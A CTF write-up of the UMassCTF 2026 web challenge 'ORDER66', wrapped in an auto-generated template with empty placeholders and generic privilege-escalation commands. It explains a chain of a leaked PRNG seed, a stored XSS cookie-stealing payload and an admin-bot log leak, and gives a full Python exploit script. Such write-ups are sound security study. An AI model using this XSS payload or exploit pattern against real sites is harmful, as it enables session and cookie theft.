ORDER66
ORDER66
Platform: Umasscybersec | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: admin_bot_console_exfiltration, predictable_prng_reconstruction, share_url_seed_leak, stored_xss_cookie_theft
Summary
Task: a Flask grid stores one user-controlled value per session in Redis, but only one order slot is rendered unsafely and its index is derived from a leaked PRNG seed. Solution: recover the unsafe slot from the shared seed, store JavaScript there, then send the admin bot to the shared URL so console.log(document.cookie) returns the non-httpOnly flag cookie.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
umasscybersec| ID:20260411_umasscybersec_order66 - Tags: flask, stored_xss, admin_bot, redis, puppeteer, non_httponly_cookie, predictable_prng
- Indicators: exactly one reflected/stored slot is rendered with |safe while the others are escaped, the application leaks a stable uid plus seed in a share URL such as /view/<uid>/<seed>, the vulnerable slot is chosen with Python random seeded from attacker-visible data, the admin bot sets a non-httpOnly flag cookie and forwards console.log output
- Source:
20260411_umasscybersec_order66.md
Foothold
Vulnerability / Misconfiguration
- Admin_bot_console_exfiltration
- Predictable_prng_reconstruction
- Share_url_seed_leak
- Stored_xss_cookie_theft
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- admin_bot_console_exfiltration
- predictable_prng_reconstruction
- share_url_seed_leak
- stored_xss_cookie_theft
- Tags: flask, stored_xss, admin_bot, redis, puppeteer, non_httponly_cookie, predictable_prng
Original Writeup
<details><summary>Click to expand original content</summary>ORDER66 — UMassCTF 2026
Summary
This challenge is a compact stored XSS bot chain with one extra twist: execution order matters. The title is the hint. There are 66 possible order slots, but only one is rendered with Jinja's |safe, and the application leaks enough state to predict exactly which slot that is.
Once the unsafe slot is known, the rest of the attack is straightforward:
- Store
<script>console.log(document.cookie)</script>in the one unsafe box, - Send the admin bot to the shared
/view/<uid>/<seed>URL, - Let the bot execute the stored XSS,
- Steal the
flagcookie because it is explicitly set withhttpOnly: false, - Read it back because
/admin/visitreturns Puppeteer's stdout.
Description
Execute Order... wait which one was it?
The page presents a 66-cell grid where only one box may contain data at a time. A share URL is exposed for the current session, and an admin bot can be asked to visit a supplied page.
Source Analysis
Flask application
app.py assigns each visitor a user_id and a numeric seed in the session. The important helper is:
def get_grid_context(uid, seed):
random.seed(seed)
v_index = random.randint(1, 66)
data = {i: (db.get(f"{uid}:box_{i}") or "") for i in range(1, 67)}
return data, v_index
So the dangerous slot is not random per render in any strong sense. It is fully determined by the leaked seed.
The main page also leaks a share URL directly in the HTML:
value="http://{{ host }}/view/{{ user_id }}/{{ seed }}"
That is enough to recover both values needed to recompute the vulnerable index locally.
Template sink
templates/index.html is where the bug lives:
{% if i == vuln_index %}
{{ content | safe }}
{% else %}
{{ content }}
{% endif %}
Only one box is unsafe. Every other box is escaped. That means blind spraying is unreliable, and the intended solve is to determine the exact unsafe slot first.
Seed persistence behavior
After a POST, the app preserves the current seed only if the currently vulnerable box still contains something that looks like a script payload:
is_payload_present = "<script" in current_content.lower() or "alert(" in current_content.lower()
...
if not is_payload_present:
session['seed'] = random.randint(1000, 9999)
else:
session['seed'] = current_seed
This behavior rewards placing the payload into the correct slot immediately. If the payload is stored in the vulnerable box, the seed remains stable and the share URL keeps pointing at the same unsafe index.
Admin bot
/admin/visit accepts a URL, rewrites its hostname to the internal Docker service, extracts the last two path components as uid and seed, recomputes the vulnerable index, and launches the Puppeteer bot.
The key feature in app.js is the cookie setup plus console forwarding:
page.on('console', msg => console.log(msg.text()));
await page.setCookie({
name: 'flag',
value: FLAG,
domain: parsedUrl.hostname,
path: '/',
httpOnly: false,
secure: false,
sameSite: 'Lax'
});
That gives the attacker exactly what they want:
- JavaScript can read
document.cookie. console.log()output is printed server-side./admin/visitreturnsprocess.stdoutdirectly in the HTTP response.
Vulnerability
The exploit chain is the combination of four issues:
- Stored XSS sink in exactly one grid cell via
{{ content | safe }}. - Predictable slot selection because the unsafe index is
random.Random(seed).randint(1, 66). - Seed disclosure because
/view/<uid>/<seed>is shown to the user. - Cookie exfiltration through bot logs because the bot sets a non-httpOnly
flagcookie and exposesconsole.logoutput.
Individually these look small, but together they form a clean intended chain. The main trick is realizing that the title is literal: only the correct order number executes.
Exploitation
Step 1: Request the main page and extract the share URL
The first GET gives us HTML containing:
/view/<uid>/<seed>
Those values are attacker-controlled enough for our purposes because /view accepts arbitrary uid and seed, and the application itself reveals both for our own session.
Step 2: Recompute the unsafe slot locally
Because the app uses Python's PRNG seeded with that visible integer, we can reproduce the selection exactly:
idx = random.Random(int(seed)).randint(1, 66)
Now we know which one of the 66 boxes is rendered with |safe.
Step 3: Store XSS in the correct box
The POST endpoint allows exactly one non-empty box, which fits the challenge theme perfectly. We submit:
<script>console.log(document.cookie)</script>
into box_<idx>.
Because the payload sits in the vulnerable slot, the seed remains unchanged and the shared /view/<uid>/<seed> link continues to target the same unsafe cell.
Step 4: Send the admin bot to the shared page
We then POST the original shared URL to /admin/visit.
The server rewrites the hostname internally, but it still visits the page corresponding to our uid and seed. The bot sets the flag cookie before navigation, so when the page loads our stored JavaScript runs in the correct origin and reads document.cookie.
Step 5: Read the flag from the visit response
Since the bot forwards console events to stdout and /admin/visit returns stdout directly, the HTTP response includes the cookie contents. The successful response contained:
flag=UMASS{REDACTED}
There were extra unrelated log lines in the same response, but the flag cookie value was the only part that mattered.
Reproduction
#!/usr/bin/env python3
import random
import re
import requests
BASE = "http://order66.web.ctf.umasscybersec.org:32768"
PAYLOAD = "<script>console.log(document.cookie)</script>"
def main():
s = requests.Session()
r = s.get(f"{BASE}/")
r.raise_for_status()
match = re.search(r"/view/([0-9a-f-]+)/(\d+)", r.text)
if not match:
raise RuntimeError("share URL not found")
uid, seed = match.groups()
seed = int(seed)
idx = random.Random(seed).randint(1, 66)
post = s.post(f"{BASE}/", data={f"box_{idx}": PAYLOAD})
post.raise_for_status()
visit = s.post(
f"{BASE}/admin/visit",
data={"target_url": f"http://order66.web.ctf.umasscybersec.org:32768/view/{uid}/{seed}"},
)
visit.raise_for_status()
print(visit.text)
if __name__ == "__main__":
main()
Expected result in the response body:
flag=UMASS{REDACTED}
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR